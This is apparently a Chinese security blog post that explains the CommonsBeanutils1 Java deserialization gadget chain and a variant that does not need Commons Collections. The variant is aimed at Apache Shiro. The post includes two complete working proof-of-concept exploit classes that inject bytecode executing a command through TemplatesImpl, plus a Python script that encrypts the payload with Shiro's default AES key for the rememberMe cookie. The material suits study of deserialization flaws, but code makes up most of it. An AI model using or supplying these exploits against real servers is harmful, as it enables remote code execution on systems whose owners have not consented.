CommonsBeanutils gadget与不依赖cc的gadget


<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.3</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

CB1

什么是 cb?
Apache Commons BeanUtils 包括所有必要的 java bean 工具类。java bean 简单定义为普通 java 类包括字段、set/get 方法以及默认无参构造函数(摘自:Apache Commons BeanUtils 示例教程
什么是 Java Bean?
请:JavaBean

CB 简单 dom

package com.yq1ng.cb.dom;

/**
 * @author ying
 * @Description
 * @create 2021-11-28 11:19 PM
 */

public class Person {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

这就是一个简单的 Bean,其属性为private,类中含有 get 和 set 方法去读取与设置属性。而其中的 get 和 set 方法又叫gettersettergetter方法以 get 开头,setter方法以 set 开头,均符合驼峰命名。
Apache Commons Beanutils 提供了一个静态方法:PropertyUtils.getProperty,使用者可以使用这个方法调用任何 JavaBean 的 getter 方法,比如这样:PropertyUtils.getProperty(new Person(),"name"); 等同于 new Person().getName();

gadget

在 cc2 中我们使用了TransformingComparator->InvokerTransformer->TemplatesImpl#newTransformer() 去加载恶意的字节码,这里是BeanComparator#compare()->TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()
从 cc2 的TemplatesImpl#newTransformer()向上回溯,发现本类的getOutputProperties()调用了newTransformer(),且方法命名符合 getter,那么是不是可以使用PropertyUtils.getProperty(new TemplatesImpl(),"OutputProperties");触发捏(能想到这样利用的人真是神嗷

小插曲,记录自己脑子抽风的。突然想为什么不能直接序列化 TemplatesImpl 实现加载任意字节码捏,原因是不能走到函数的嘞。。。傻了

image.png
在往上想,谁有调用了PropertyUtils.getProperty()捏,来瞅瞅org/apache/commons/beanutils/BeanComparator.java#compare()image.png
通过注释可以知道这个函数是比较两个 javabean 的共享属性(机翻,我是英语渣~)的,如果 o1 是 TemplatesImpl 对象就好了(谁是你的对象呢?)

构造 poc

cc2 的前半部分拿过来了

package com.yq1ng.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

/**
 * @author ying
 * @Description
 * @create 2021-11-27 17:55
 */

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "yq1ng");
        setFieldValue(templates, "_class", null);

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //  不写文件了嗷
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image.png
(Ohyou girl give that you)
其实没啥说的,与 cc2 类似,无非是java/util/PriorityQueue.java#siftDownUsingComparator()comparator.compare()变了。这个链子真的有意思,竟然能联想到 getter ,一个字,绝!

CB 不依赖 CC

窘况

进入org/apache/commons/beanutils/BeanComparator.java看看其 import
image.png
cc 赫然在列,但是 shiro 自身是不带 cc 的只有 cb1.8.3
image.png
此时再用上面的 poc 就直接凉凉,所以还需要一条不需要 cc 的 gadget
首先试试没有 cc 的 shiro 能不能打通,项目可以使用 P 神的shirodome,将 maven 的 cc 注释掉,然后启动项目打入上面的 poc。poc 加上System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));进行输出,然后使用下面的加密脚本进行加密(以前写的加密脚本,这里直接用了懒得整合到 Java 里面了哈哈哈

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-11-30 17:16:05
# @Last Modified by:   ying
# @Last Modified time: 2021-11-30 17:16:07

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key  =  "kPH+bIxk5D2deZiIxcaaaA=="
mode =  AES.MODE_CBC
IV   = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

打过去后并未弹出计算器,查看 tomcat log 发现报错了
image.png
serialVersionUID 版本不对,这个在前面的文章说过了吧,不多逼逼。修改 poc 中的 cb 版本为 1.8.3,再打发现不能加载org.apache.commons.collections.comparators.ComparableComparator,原因是 shiro 只包含一部分 cc,所以报错了
image.png

破局

org/apache/commons/beanutils/BeanComparator.java中发现,当未传入Comparator的时候会调用这个类。但是现在没有这个类,需要找一个可以替换他的,P 牛找到一个java/lang/String.java/CaseInsensitiveComparator,它是java.lang.String类下的一个内部私有类,实现了 Comparator 和 Serializable,且位于 Java 的核心代码中,兼容性很强。
部分代码如下
image.png
可以看到,我们可以使用String.CASE_INSENSITIVE_ORDER来拿到这个私有类的实例,所以将 cb1 的 poc 中final BeanComparator comparator = new BeanComparator();改为有参就行final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);,运行后发现,报错了
image.png
原因是我们传入的比较器(comparator)是 String 类型的,queue.add 却是 int 型的,这样当然不可以,所以更改queue.add(1);queue.add("1");即可,完整 poc 如下,记得使用加密脚本

package com.yq1ng.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

/**
 * @author ying
 * @Description
 * @create 2021-11-30 5:27 PM
 */

public class CommonsBeanutils1Shiro {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "yq1ng");
        setFieldValue(templates, "_class", null);

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //  不写文件了嗷
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        ois.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image.png

结语

cb 看下来其实也不太难,但是通过改变实例化时使用的构造方法就能让整个链子不依赖某个第三方包这是很难想到的(只对于我来说,P 牛知识星球中有人也发了其他利用方法,tql 吧
image.png


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录